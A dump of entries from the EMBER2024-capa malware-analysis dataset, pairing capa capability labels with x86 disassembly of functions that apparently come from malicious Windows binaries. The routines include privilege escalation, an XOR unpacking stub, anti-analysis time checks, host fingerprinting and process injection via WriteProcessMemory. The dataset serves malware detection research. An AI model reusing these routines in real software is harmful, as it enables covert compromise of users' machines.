joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5d81b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.005d8140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.005d8140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.005d8140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.005d8140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x5d8bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x5d8c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x5ea87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x5d8c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x5d8c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x401000
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, dword [0x413918]
push edi
or edi, 0xffffffff
test eax, eax
jne 0x401023
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x413918], eax
test eax, eax
jne 0x401023
pop edi
ret
cmp dword [0x41391c], 0
je 0x4010b5
cmp dword [0x413920], 0
je 0x4010b5
cmp dword [0x413924], 0
je 0x4010b5
cmp dword [0x413928], 0
je 0x4010b5
cmp dword [0x41392c], 0
je 0x4010b5
cmp dword [0x413930], 0
je 0x4010b5
cmp dword [0x413934], 0
je 0x4010b5
cmp dword [0x413938], 0
je 0x4010b5
cmp dword [0x41393c], 0
je 0x4010b5
cmp dword [0x413940], 0
je 0x4010b5
cmp dword [0x413944], 0
je 0x4010b5
cmp dword [0x413948], 0
je 0x4010b5
cmp dword [0x41394c], 0
je 0x4010b5
cmp dword [0x413950], 0
je 0x4010b5
cmp dword [0x413954], 0
je 0x4010b5
mov eax, 1
pop edi
ret
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RtlExpandEnvironmentStrings_U
push eax
call esi
mov dword [0x41391c], eax
test eax, eax
je 0x40127b
mov eax, dword [0x413918]
push str.RtlSetLastWin32Error
push eax
mov edi, 0xfffffffe
call esi
mov dword [0x413920], eax
test eax, eax
je 0x40127b
mov ecx, dword [0x413918]
push str.NtTerminateProcess
push ecx
mov edi, 0xfffffffd
call esi
mov dword [0x413924], eax
test eax, eax
je 0x40127b
mov edx, dword [0x413918]
push str.RtlFreeSid
push edx
mov edi, 0xfffffffc
call esi
mov dword [0x413928], eax
test eax, eax
je 0x40127b
mov eax, dword [0x413918]
push str.RtlInitUnicodeString
push eax
mov edi, 0xfffffffb
call esi
mov dword [0x41392c], eax
test eax, eax
je 0x40127b
mov ecx, dword [0x413918]
push str.NtSetInformationThread
push ecx
mov edi, 0xfffffffa
call esi
mov dword [0x413930], eax
test eax, eax
je 0x40127b
mov edx, dword [0x413918]
push str.NtSetInformationToken
push edx
mov edi, 0xfffffff9
call esi
mov dword [0x413934], eax
test eax, eax
je 0x40127b
mov eax, dword [0x413918]
push str.RtlNtStatusToDosError
push eax
mov edi, 0xfffffff8
call esi
mov dword [0x413938], eax
test eax, eax
je 0x40127b
mov ecx, dword [0x413918]
push str.NtClose
push ecx
mov edi, 0xfffffff7
call esi
mov dword [0x41393c], eax
test eax, eax
je 0x40127b
mov edx, dword [0x413918]
push str.NtOpenProcessToken
push edx
mov edi, 0xfffffff6
call esi
mov dword [0x413940], eax
test eax, eax
je 0x40127b
mov eax, dword [0x413918]
push str.NtDuplicateToken
push eax
mov edi, 0xfffffff5
call esi
mov dword [0x413944], eax
test eax, eax
je 0x40127b
mov ecx, dword [0x413918]
push str.RtlAllocateAndInitializeSid
push ecx
mov edi, 0xfffffff4
call esi
mov dword [0x413948], eax
test eax, eax
je 0x40127b
mov edx, dword [0x413918]
push str.NtFilterToken
push edx
mov edi, 0xfffffff3
call esi
mov dword [0x41394c], eax
test eax, eax
je 0x40127b
mov eax, dword [0x413918]
push str.RtlLengthSid
push eax
mov edi, 0xfffffff2
call esi
mov dword [0x413950], eax
test eax, eax
je 0x40127b
mov ecx, dword [0x413918]
push str.NtQueryInformationToken
push ecx
mov edi, 0xfffffff1
call esi
mov dword [0x413954], eax
test eax, eax
lea eax, [edi + 0x10]
jne 0x40127d
mov eax, edi
pop esi
pop edi
ret
Function at 0x401ac3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push str.Iphlpapi.dll
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, esi
je 0x401b6b
push ebx
push str.GetAdaptersAddresses
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
cmp ebx, esi
je 0x401b6a
push edi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
push esi
jmp 0x401b1c
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.0040ebed
pop ecx
pop ecx
cmp eax, esi
je 0x401b29
lea ecx, [ebp - 8]
push ecx
mov dword [ebp - 4], eax
push eax
push esi
push esi
push 2
call ebx
mov edi, eax
cmp edi, 0x6f
je 0x401b03
cmp edi, esi
jne 0x401b5b
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x401b69
mov edi, dword [eax + 0x34]
xor edx, edx
cmp edi, esi
jbe 0x401b54
movzx ebx, byte [eax + edx + 0x2c]
mov ecx, edx
and ecx, 3
shl ecx, 3
shl ebx, cl
xor dword [ebp - 0xc], ebx
inc edx
cmp edx, edi
jb 0x401b3d
mov eax, dword [eax + 8]
cmp eax, esi
jne 0x401b34
cmp dword [ebp - 4], esi
je 0x401b69
push dword [ebp - 4]
call fcn.0040ec2e
pop ecx
pop edi
pop ebx
mov eax, dword [ebp - 0xc]
pop esi
leave
ret

Function at 0x401bdf
Capabilities:
Encode data using xor
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x18], bl
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
mov dword [ebp - 8], ebx
stosb byte es:[edi], al
mov dword [ebp - 4], 0xf
call fcn.00401ac3
cmp eax, ebx
jne 0x401c5a
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x401c45
xor eax, eax
cmp dword [ebp - 4], ebx
jbe 0x401c45
movsx edx, byte [ebp + eax - 0x18]
mov ecx, eax
and ecx, 3
shl ecx, 3
shl edx, cl
xor esi, edx
inc eax
cmp eax, dword [ebp - 4]
jb 0x401c26
cmp esi, ebx
je 0x401c45
mov eax, esi
jmp 0x401c5a
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402011
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x100
test byte [0x4122f4], 1
jne 0x402034
or dword [0x4122f4], 1
push 0
call fcn.0040f04e
pop ecx
mov dword [0x4122f0], eax
test byte [0x4122f4], 2
jne 0x402051
or dword [0x4122f4], 2
push 0
call fcn.0040f04e
pop ecx
mov dword [0x4122ec], eax
test byte [0x4122f4], 4
jne 0x40206e
or dword [0x4122f4], 4
push 0
call fcn.0040f04e
pop ecx
mov dword [0x4122e8], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
sub eax, dword [0x4122e0]
mov esi, dword [esp + 0x114]
mov ebx, 0xdbba0
cmp eax, ebx
jbe 0x4020db
mov eax, dword [section..data]
xor ebp, ebp
cmp byte [eax], 0
je 0x4020d4
mov eax, section..data
push dword [eax]
call fcn.00402684
pop ecx
test eax, eax
je 0x4020bf
or dword [esi + 0x14], 4
push 0x50
push eax
call fcn.00401978
pop ecx
pop ecx
test eax, eax
jne 0x4020d0
inc ebp
lea eax, [ebp*4 + section..data]
mov ecx, dword [eax]
cmp byte [ecx], 0
jne 0x4020a1
jmp 0x4020d4
or dword [esi + 0x14], 2
call edi
mov dword [0x4122e0], eax
call edi
sub eax, dword [0x4122dc]
cmp eax, ebx
jbe 0x402132
mov eax, dword [section..data]
xor ebp, ebp
cmp byte [eax], 0
je 0x40212b
mov eax, section..data
push dword [eax]
call fcn.00402ef8
pop ecx
test eax, eax
je 0x402116
or dword [esi + 0x14], 8
push 0x19
push eax
call fcn.00401978
pop ecx
pop ecx
test eax, eax
jne 0x402127
inc ebp
lea eax, [ebp*4 + section..data]
mov ecx, dword [eax]
cmp byte [ecx], 0
jne 0x4020f8
jmp 0x40212b
or dword [esi + 0x14], 1
call edi
mov dword [0x4122dc], eax
call edi
mov ebp, 0x3e8
xor edx, edx
mov ecx, ebp
div ecx
mov dword [esi + 0x28], eax
call edi
xor edx, edx
div ebp
xor ebx, ebx
push ebx
sub eax, dword [0x412110]
mov dword [esi + 0x2c], eax
call fcn.0040f04e
sub eax, dword [0x4122f0]
pop ecx
mov edi, str.localcfg
mov ebp, 0x4b0
cmp eax, dword [0x4122e4]
jbe 0x4021cb
push 0x410264
push 0x100
lea eax, [esp + 0x18]
push eax
push str.rbl_bl
push edi
push 1
call fcn.0040e854
push ebx
push str.rbl_ip
push edi
push 1
call fcn.0040e819
add esp, 0x28
cmp eax, ebx
je 0x4021c1
cmp byte [esp + 0x10], bl
je 0x4021c1
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.00401c5f
pop ecx
pop ecx
mov dword [esi + 0x38], eax
mov dword [0x4122e4], ebp
jmp 0x4021cb
mov dword [0x4122e4], 0x12c
push ebx
call fcn.0040f04e
sub eax, dword [0x4122f0]
pop ecx
cmp eax, ebp
jbe 0x4021fa
push dword [esi + 0x14]
push str.net_type
push edi
push 1
call fcn.0040ea84
push ebx
call fcn.0040f04e
add esp, 0x14
mov dword [0x4122f0], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100
ret

Function at 0x4024c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
xor ecx, ecx
not eax
cmp dword [ebp + 0xc], ecx
jne 0x4024d5
xor eax, eax
pop ebp
ret
jbe 0x402504
mov edx, dword [ebp + 8]
movzx edx, byte [ecx + edx]
xor eax, edx
mov edx, eax
and edx, 0xf
shr eax, 4
xor eax, dword [edx*4 + 0x4103b0]
mov edx, eax
and edx, 0xf
shr eax, 4
xor eax, dword [edx*4 + 0x4103b0]
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0x4024d7
not eax
pop ebp
ret
Function at 0x402508
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
push esi
mov esi, dword [ebp + 0x10]
inc ecx
test esi, esi
je 0x40253e
mov edx, dword [ebp + 0xc]
sub edx, eax
push edi
mov di, word [edx + eax]
xor di, word [ebp + 0x14]
mov word [eax], di
mov edi, dword [ebp + 0x18]
add edi, ecx
add dword [ebp + 0x14], edi
neg ecx
add eax, 2
dec esi
movzx ecx, cx
jne 0x40251f
pop edi
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret

Function at 0x402544
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
mov cl, 1
test edi, edi
je 0x402571
push esi
mov esi, dword [ebp + 0xc]
sub esi, eax
mov dl, byte [esi + eax]
xor dl, byte [ebp + 0x14]
mov byte [eax], dl
mov dl, cl
add dl, byte [ebp + 0x18]
neg cl
add byte [ebp + 0x14], dl
inc eax
dec edi
jne 0x40255a
pop esi
mov eax, dword [ebp + 8]
pop edi
pop ebp
ret

Function at 0x402684
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp byte [esi], 0
jne 0x402692
xor eax, eax
pop esi
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x4026b0
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40268e
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
pop esi
ret

Function at 0x4026ff
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
mov eax, dword [0x412bf8]
xor ebx, ebx
push edi
mov edi, 0x400
cmp eax, ebx
jne 0x402723
push edi
call fcn.0040ebcc
pop ecx
mov dword [0x412bf8], eax
push edi
push ebx
push eax
call fcn.0040ee2a
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0x412bf8]
mov edi, dword [sym.imp.WS2_32.dll_htons]
mov word [ecx], ax
mov eax, dword [0x412bf8]
mov cx, word [ebp + 0x10]
push 1
mov word [eax + 2], cx
call edi
mov ecx, dword [0x412bf8]
mov word [ecx + 4], ax
mov ecx, dword [0x412bf8]
xor eax, eax
mov word [ecx + 6], ax
mov ecx, dword [0x412bf8]
mov word [ecx + 8], ax
mov ecx, dword [0x412bf8]
mov word [ecx + 0xa], ax
mov edx, dword [0x412bf8]
xor ecx, ecx
cmp byte [esi], bl
je 0x4027cc
mov bl, byte [eax + esi]
mov dword [ebp + 0x10], eax
jmp 0x4027a0
cmp bl, 0x2e
je 0x4027a4
inc dword [ebp + 0x10]
mov ebx, dword [ebp + 0x10]
mov bl, byte [ebx + esi]
test bl, bl
jne 0x402792
mov bl, byte [ebp + 0x10]
sub bl, al
mov byte [ecx + edx + 0xc], bl
inc ecx
jmp 0x4027b9
mov bl, byte [eax + esi]
mov byte [ecx + edx + 0xc], bl
inc ecx
inc eax
cmp eax, dword [ebp + 0x10]
jl 0x4027b0
cmp byte [eax + esi], 0x2e
jne 0x4027c5
inc eax
xor ebx, ebx
cmp byte [eax + esi], bl
jne 0x40278a
push 0xf
mov byte [ecx + edx + 0xc], bl
lea esi, [ecx + 0xd]
call edi
mov ecx, dword [0x412bf8]
push 1
mov word [ecx + esi], ax
call edi
mov ecx, dword [0x412bf8]
push 0x10
push dword [ebp + 0xc]
mov word [ecx + esi + 2], ax
push ebx
add esi, 4
push esi
push 0x412bf8
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
xor ecx, ecx
test eax, eax
setle cl
pop edi
pop esi
pop ebx
mov eax, ecx
pop ebp
ret
Function at 0x402df2
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, str.iphlpapi.dll
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402e10
cmp eax, 0xffffffff
jne 0x402e17
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x402ef1
cmp eax, 0xffffffff
je 0x402ef1
push str.GetNetworkParams
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x402ef1
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, 0x4000
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0xc]
push ecx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esi
call edi
test eax, eax
jne 0x402ef1
mov edi, dword [ebp - 4]
and dword [ebp - 8], eax
add edi, 0x10c
je 0x402ede
lea esi, [edi + 4]
test esi, esi
je 0x402ed8
push 2
pop eax
push 0x35
mov word [ebp - 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x1a], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x402ea5
cmp eax, 0xffffffff
jne 0x402eba
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402ed8
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x402ed8
cmp eax, 0xffffffff
je 0x402ed8
push dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
call fcn.00402ceb
pop ecx
pop ecx
mov dword [ebp - 8], eax
test eax, eax
jne 0x402ede
mov edi, dword [edi]
test edi, edi
jne 0x402e78
push dword [ebp - 4]
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
jmp 0x402ef3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4030b5
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push esi
mov esi, 0x80
push esi
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.0040ee2a
add esp, 0xc
push esi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
pop esi
test eax, eax
je 0x4030f6
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
leave
ret
xor eax, eax
leave
ret

Function at 0x4030fa
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, eax
jmp 0x403122
call edi
sub eax, ebx
cmp eax, 0x1388
jae 0x40312e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push dword [esp + 0x14]
call esi
test eax, eax
jne 0x40310f
pop edi
pop esi
pop ebx
ret
Function at 0x403f18
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x14]
and dword [ebp + 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x403f7c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x403f86
push dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x403f86
cmp ebx, dword [ebp + 0x14]
jne 0x403f86
xor eax, eax
inc eax
jmp 0x403f88
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0x403f8c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x14]
and dword [ebp + 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403ff0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x403ffa
push dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x403ffa
cmp ebx, dword [ebp + 0x14]
jne 0x403ffa
xor eax, eax
inc eax
jmp 0x403ffc
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0x404000
Capabilities:
Check if file exists

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
xor edi, edi
or dword [esi], 0xffffffff
push 0
push 0x40000080
push 3
push 0
push 3
push 0xc0000000
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x404057
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x404052
cmp eax, 3
je 0x404052
cmp eax, 5
je 0x404059
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x40400b
xor eax, eax
pop edi
pop esi
ret
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x404054

Function at 0x404bd1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
mov esi, ecx
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
add esi, 0xc
jmp 0x404bff
call ebx
sub eax, ebp
cmp eax, 0x1388
jae 0x404c08
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
call edi
test eax, eax
jne 0x404bec
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4062b7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [edi], ax
je 0x4062d2
xor eax, eax
jmp 0x406375
mov ecx, dword [edi + 0x3c]
add ecx, edi
cmp dword [ecx], 0x4550
jne 0x4062cb
mov eax, dword [ebp + 0xc]
sub eax, dword [ecx + 0x34]
mov edx, dword [ecx + 0xa4]
and dword [ebp - 8], 0
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0xa0]
push ebx
add eax, edi
push esi
mov dword [ebp - 0x14], edx
test edx, edx
je 0x40636a
mov edx, dword [eax + 4]
add dword [ebp - 8], edx
mov esi, dword [eax]
and dword [ebp - 4], 0
add edx, 0xfffffff8
shr edx, 1
add esi, edi
test edx, edx
jle 0x40635f
mov edi, dword [ebp - 4]
movzx edi, word [eax + edi*2 + 8]
mov ebx, edi
shr ebx, 0xc
test ebx, ebx
je 0x406354
cmp ebx, 3
je 0x406335
cmp ebx, 0xa
jne 0x406378
and edi, 0xfff
add edi, esi
mov dword [ebp - 0x10], edi
mov edi, dword [edi]
mov ebx, edi
sub ebx, dword [ecx + 0x34]
cmp ebx, dword [ecx + 0x50]
ja 0x406378
add edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
mov dword [ebx], edi
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x40631a
mov edi, dword [ebp + 8]
mov edx, dword [ebp - 8]
add eax, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
jb 0x406303
mov eax, dword [ebp + 0xc]
mov dword [ecx + 0x34], eax
xor eax, eax
inc eax
pop esi
pop ebx
pop edi
leave
ret
xor eax, eax
jmp 0x406373

Function at 0x40637c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0
jne 0x40638a
xor eax, eax
leave
ret
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x50]
push 4
mov esi, 0x1000
push esi
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x4063f5
push ebx
push edi
push eax
call fcn.0040ee08
add esp, 0xc
push 0x40
push esi
push ebx
push 0
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x4063f5
push esi
push dword [ebp - 4]
call fcn.004062b7
pop ecx
pop ecx
push 0
push ebx
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4063f9
xor eax, eax
jmp 0x40640b
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
sub esi, edi
add esi, dword [ebp + 8]
mov dword [eax], esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406410
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x406421
xor eax, eax
ret
push edi
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x40643a
mov eax, 0x14c
cmp word [edi + 4], ax
je 0x40643e
xor eax, eax
pop edi
ret
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x1000
push dword [edi + 0x50]
push dword [edi + 0x34]
call esi
mov ebx, eax
test ebx, ebx
jne 0x406472
push 4
push 0x1000
push dword [edi + 0x50]
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x4064fc
push 0x14
call fcn.0040ebcc
mov esi, eax
xor eax, eax
pop ecx
cmp esi, eax
je 0x4064fc
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esi + 4], ebx
mov ecx, dword [edi + 0x54]
add ecx, dword [eax + 0x3c]
push ecx
push eax
push ebx
call fcn.0040ee08
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + 0x3c]
push esi
add eax, ebx
push edi
mov dword [esi], eax
push ecx
mov dword [eax + 0x34], ebx
call fcn.00405ec5
mov eax, ebx
add esp, 0x18
sub eax, dword [edi + 0x34]
je 0x4064c9
push eax
push esi
call fcn.00405feb
pop ecx
pop ecx
push esi
call fcn.00406069
pop ecx
test eax, eax
je 0x4064f5
push esi
call fcn.00405f3f
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
pop ecx
test eax, eax
je 0x406503
add eax, ebx
je 0x4064f5
push 0
xor edi, edi
inc edi
push edi
push ebx
call eax
test eax, eax
jne 0x406500
push esi
call fcn.00406246
pop ecx
xor eax, eax
jmp 0x406505
mov dword [esi + 0x10], edi
mov eax, esi
pop esi
pop ebx
pop edi
ret